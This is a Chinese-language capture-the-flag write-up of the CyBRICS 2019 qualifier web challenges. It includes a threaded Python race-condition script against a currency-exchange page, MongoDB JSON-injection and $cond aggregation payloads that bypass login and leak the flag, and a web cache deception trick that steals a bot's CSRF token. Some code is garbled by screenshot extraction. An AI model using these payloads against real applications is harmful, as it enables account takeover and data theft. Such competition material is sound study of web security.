CyBRICS CTF Quals 2019 Web 题解

Warmup

```
http://45.32.148.106/
打开网站,自动跳转到 http://45.32.148.106/final.html
一大堆字,直接查看final.html的源码,没什么发现
然后把final.html删掉,发现index.html下有个自动跳转搭配final.html的js代码,拉到最下面可以看到
base64后的flag
```

flag: cybrics{4b646c7985fec6189dadf8822955b034}

Bitkoff Bank

```
http://95.179.148.72:8083/index.php
注册登录后发现
Your USD: 0
Your BTC: 0.00003
MINE BTC
buy auto-miner
buy flag ($1)
```

可以看到自带0.00003BTC 且要买flag需要UDS大于1

几个功能分别为

MINE BTC:每次请求BTC增加0.000000001

buy auto-miner:页面添加js代码,\$0.01购买自动挖矿,并没什么用

最后一个是货币转换,UDS和UTC可以互换,比例为 0.00001 BTC: 0.109056 USD

(这里转换货币前端限制最低0.0001 可以通过抓包改)

常见思路就是条件竞争了

```
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import requests
import threading

s = requests.session()
url = "http://95.179.148.72:8083/index.php"
cookies = {"name":"ccccc014", "password":"ccccc014"}
data1 = {"from_currency":"btc", "to_currency":"usd", "amount":"0.00003"}
data2 = {"from_currency":"usd", "to_currency":"btc", "amount":"0.3"}

def from_BTC_to_UDS():
    for i in range(0,1000):
        r = s.post(url = url , cookies = cookies , data = data1)

def from_UDS_to_BTC():
    for i in range(0,1000):
```

```
r = s.post(url = url , cookies = cookies, data = data2)

t1 = threading.Thread(target = from_BTC_to_UDS)

t2 = threading.Thread(target = from_UDS_to_BTC)

t1.start()

t2.start()
```

可以手动把amount越加越大提高效率,跑一会就可以了 当然,还有一种更常见的思路。多线程挖矿~亲测可行(就是跑的久x点)

Your USD: **1.09603** Your BTC: **0.000002**

flag: cybrics{50 57R4n93 pR3c1510n}

MINE BTC

buy auto-miner

buy flag (\$1)

USD ∨ USD ∨ change

flag: cybrics{50_57R4n93_pR3c1510n}

NopeSQL

http://173.199.118.226/ 界面如下 ← → C ① 不安全 | 173.199.118.226/index.php

News

Est et aperiam laboriosam et voluptatem.

Dolore ullam nesciunt minus omnis ut.

Dolore voluptatem error qui ratione soluta enim consequatur ut.

Dignissimos vitae rerum asperiores ut.

Natus eos quo velit accusantium vel ut ea.

Quaerat sed voluptate sed.

Aspernatur quas ipsam vero voluptas voluptas.

Quia est eaque esse ducimus porro sed.

Voluptatem earum sed eligendi aut quis dolor ut dolorem.

Fuga cumque aut et numquam.

Omnis architecto iure exercitationem molestiae enim voluptas libero ipsa.

2个input框是登录用的,试了几个弱口令不对,扫了一下发现了/.git/泄露 拿到index.php

```
<?php
require_once __DIR__ . "/vendor/autoload.php";

function auth($username, $password) {
    $collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test-
>users;
    $raw_query = '{"username": "'.$username.'", "password": "'.$password.'"}';
$document = $collection->findOne(json_decode($raw_query));
if (isset($document) && isset($document->password)) {
        return true;
    }
}
```

```
return false;
}
$user = false;
if (isset($_COOKIE['username']) && isset($_COOKIE['password'])) {
    $user = auth($_COOKIE['username'], $_COOKIE['password']);
}
if (isset($_POST['username']) && isset($_POST['password'])) {
    $user = auth($_POST['username'], $_POST['password']);
    if ($user) {
        setcookie('username', $_POST['username']);
        setcookie('password', $_POST['password']);
    }
}
?>
<?php if ($user == true): ?>
    Welcome!
    <div>
        Group most common news by
        <a href="?filter=$category">category</a> |
        <a href="?filter=$public">publicity</a><br>
    </div>
    <?php
        $filter = $_GET['filter'];
        $collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test-
>news;
        $pipeline = [
            ['$group' => ['_id' => '$category', 'count' => ['$sum' => 1]]],
            ['$sort' => ['count' => -1]],
            ['$1imit' => 5],
        ];
        $filters = [
            ['$project' => ['category' => $filter]]
        ];
        $cursor = $collection->aggregate(array_merge($filters, $pipeline));
    ?>
    <?php if (isset($filter)): ?>
        <?php
            foreach ($cursor as $category) {
                    printf("%s has %d news<br>", $category['_id'],
$category['count']);
            }
        ?>
    <?php endif; ?>
<?php else: ?>
```

```
<?php if (isset($_POST['username']) && isset($_POST['password'])): ?>
        Invalid username or password
    <?php endif; ?>
    <form action='/' method="POST">
        <input type="text" name="username">
        <input type="password" name="password">
        <input type="submit">
    </form>
    <h2>News</h2>
    <?php
        $collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test-
>news;
        $cursor = $collection->find(['public' => 1]);
        foreach ($cursor as $news) {
            printf("%s<br>", $news['title']);
        }
    ?>
<?php endif; ?>
```

发现题目分为两步,第一步通过身份认证,第二步读flag 没密码,我们需要绕过第一个登录的地方

```
$raw_query = '{"username": "'.$username.'", "password": "'.$password.'"}';
$document = $collection->findOne(json_decode($raw_query));
```

这里是通过直接将username和password字符串拼接,且有双引号包裹,所以如下这种payload

```
username[$ne]=test&password[$ne]=test
或
username={"$ne":"test"}&password={"$ne":"test"}
```

传进来会直接当成"Array"字符串 或 "{xxxx}"字符串拼接,不可

且这是在php内完成查询而非带入mongo语句中查询,所以通过注释符来构造 也不可

```
username=admin","password":{"$ne":"test"}})//&password=a
```

更何况这里还有个json_decode 就算能构造也通不过JSON的解码

那么问题来了,怎么绕过这个json_decode同时绕过身份认证呢

Let's have a look.

后面会覆盖掉前面的内容 那么我们构造如下payload

```
username=a&password=123","password":{"$ne":"aa"},"username":"admin
```

```
1 {"username": "a", "password": "123", "password":{"$ne":"aa"}, "username": "admin"}
2 array(2) {
3     ["username"] =>
4     string(5) "admin"
5     ["password"] =>
6     array(1) {
7      ["$ne"] =>
8      string(2) "aa"
9     }
1
```

即可绕过身份验证

其实在mongodb中原本查询也是如此

成功登录后 根据filter查询数据

```
← → C ① 不安全 | 173.199.118.226/index.php?filter=$category
```

Welcome!

Group most common news by <u>category</u> | <u>publicity</u> politics has 9 news flags has 9 news finance has 5 news comedy has 5 news

测试出了5个字段

```
$_id $title $text $public $category
```

不过源码中有限制,只能显示5条,显示不到flag 简化此处功能代码如下:

```
<?php
$filter = $_GET['filter'];
$collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->news;
$pipeline = [
    ['$group' => ['_id' => '$category', 'count' => ['$sum' => 1]]],
    ['$sort' => ['count' => -1]],
    ['$1imit' => 5],
];
$filters = [
            ['$project' => ['category' => $filter]]
        ];
$cursor = $collection->aggregate(array_merge($filters, $pipeline));
if (isset($filter)){
    foreach ($cursor as $category) {
        printf("%s has %d news<br>", $category['_id'], $category['count']);
   }
}
```

查询这里通过aggregate (聚合)方法来查询,其中几个参数的作用为

\$project: 修改输入文档的结构。可以用来重命名、增加或删除域,也可以用于创建计算结果以及嵌套文档。

\$1imit:用来限制MongoDB聚合管道返回的文档数。

\$group:将集合中的文档分组,可用于统计结果。

\$sort:将输入文档排序后输出。

\$project这里可视为根据所输入的条件创建一个小集合

查了下官方文档,看到一个<u>\$cond</u> 可以加以利用,相当于MySQL中的 if 条件语句通过构造类似于

```
/index.php?filter[$cond][if][$eq][]=11111&filter[$cond][if][$eq]
[]=22222&filter[$cond][then]=$text&filter[$cond][else]=$_id
或者
/index.php?filter[$cond][0][$eq][]=11111&filter[$cond][0][$eq]
[]=22222&filter[$cond][]=$text&filter[$cond][]=$_id
```

```
→ C 🐶 /test.php?filter[$cond][if][$eq][]=11111&filter[$cond][if][$eq][]=22222&filter[$cond][then]=$text&filter[$cond][else]=$_id
 1 array(4) {
2 3 4 4 5 6 7 8 9 10 11 12 13 14 15 6 17 18 19 20 1 22 23 24 25 6 27 28 29 30 3 3 3 3 4 3 5 6 3 6 3 7 3 8 3 9 4 0 1 4 1 2
        array(1) {
  ["$project"]=>
                                                          if("11111"="22222",
                                                                                                                                                 $text ,
                                                                                                                                                                                       $_id)
            array(1) {
  ["category"]=>
                   array(3) {
    ["if"]=>
                          arrav(2) {
                              [0]=>
string(5) "11111"
[1]=>
                              string(5) "22222"
                      }
["then"]=>
string(5) "$text"
["else"]=>
string(4) "$_id"
        [1]=>
        array(1) {
   ["$group"]=>
   array(2) {
    ["_id"]=>
               ["_id"]=>
string(9) "$category"
["count"]=>
array(1) {
  ["$sum"]=>
int(1)
        [2]=>
array(1)
```

我们根据刚才 filter=\$category 查询知道

```
politics has 9 news
flags has 9 news
finance has 5 news
comedy has 5 news
```

category 中有 flags

这里先给出一个读flag的payload再来解释

```
/index.php?filter[$cond][0][$eq][]=flags&filter[$cond][0][$eq]
[]=$category&filter[$cond][1]=$text&filter[$cond][2]=1111
或者
/index.php?filter[$cond][if][$eq][]=flags&filter[$cond][if][$eq]
[]=$category&filter[$cond][then]=$text&filter[$cond][else]=1111
```

相当于

filter=if("flags"="\$category",\$text,1111);

先看个图容易搞明白

这里总共2条数据,如果 \$username 等于 admin 时,将 categorytest 设置为原本的 \$password ,否则当成 "22222" 字符串

再去解读刚刚的payload,如果 \$category 等于 flags 时,新集合中的 category 设置为原本的

\$text, 否则按字符串 "1111" 输出

Welcome!

Group most common news by category | publicity

1111 has 19 news

Distinctio et deleniti et architecto sunt maiores aut quis. Voluptatem quis necessitatibus ratione fuga eveniet voluptate. Quos sed rerum non sint molestias c Ut quidem illo sunt nihil totam quia. Repellendus fuga tenetur in illo id exercitationem illum occaecati. Ea autem sapiente iste eius nulla quod. has 1 news cybrics{7|-|15 15 4 7E><7 |=|_49} has 1 news
Quia magnam nemo aperiam et aut ut similique. Veniam ipsa recusandae inventore quos ipsam. Velit hic nobis explicabo sequi. Et natus unde alias quaerat i

flag: cybrics{7|-|15 15 4 7E><7 |=|_49}

Caesaref & Fixaref

Caesaref

很nb的非预期

http://45.77.218.242/

其他web题暂时都还活着就这个关了作者看不下去了?

和Fixaref基本功能类似,不过bot发请求时把自己的cookie带上了...

直接改cookie拿到flag

flag: cybrics{k4Ch3_C4N_83_vuln3R48l3}

注意这个flag

Fixaref

http://95.179.190.31/

注册登录,一个单一的input框

随便输入123后看到返回可以输入一个link

← → C ① 不安全 | 95.179.190.31

Hello, ccccc014

Ask support: Ask

Please, attach link to the screenshot or detailed explanation of your issue

123

输入自己的vps地址收到响应

Listening on [0.0.0.0] (family 0, port 80) Connection from [95.179.190.31] port 80 [tcp/http] accepted (family 2, sport 35458) GET / HTTP/1.1 User-Agent: python-requests/2.18.4 Accept-Encoding: gzip, deflate Connection: keep-alive

可以看到是 python-requests 发起的请求

并且如果能正常请求到与请求不到有不同的回显 能判断是否存在页面

常见思路是ssrf,不过获取不到页面的回显 又不像urllib能crlf注入

就算判断出了有redis也打不了

本来思路到这里就有点断了,后来想起来那个非预期的flag好像不是随机字符,果断看了一下 cybrics{k4Ch3_C4N_83_vuln3R48l3}

kache can be vulnerable


kache... cache?

服务器端会有缓存?

先让bot访问一下某资源,自己在短时间内再次访问,得到的会是和bot请求一样的? 当然静态资源又不会变,自己访问和bot访问本来就是一样的。

访问 / index.php/testcccc.css

得到



内容还是index.php

不过这个请求在服务器端被认为是 testcccc.css 静态文件,从而产生缓存

我们此时用一个未登录过的cookie去访问 / index.php/testcccc.css

发现得到的和上图一样,那么我们让bot用自己的cookie访问 / index.php/hacktest.css

我们再请求这个'静态文件',有

\leftarrow \rightarrow	C	① 不安全	≧ 95.17	'9.190.31,	/index.p	hp/hac	cktest.	CSS			
Hello, m Ask sup			Ask								
Retrieve Show flag		secret flag	g: 🛑								

Please, attach link to the screenshot or detailed explanation of your issue fsdfsdsfsdf

Please, attach link to the screenshot or detailed explanation of your issue sdfsdf

Please, attach link to the screenshot or detailed explanation of your issue asdasd

Empty question

Empty question

用得到的 csrf-token 构造读flag的请求 注意 & 符号要urlencode一下

http://95.179.190.31/index.php/flag.css?csrf-token=bot's_token%26flag=1

然后我们访问

[http://95.179.190.31/index.php/flag.css?csrf-token=bot's_token&flag=1]

即可获取flag

Flag: cybrics{Bu9s_C4N_83_uN1N73Nd3D!}

Flag: cybrics{Bu9s_C4N_83_uN1N73Nd3D!}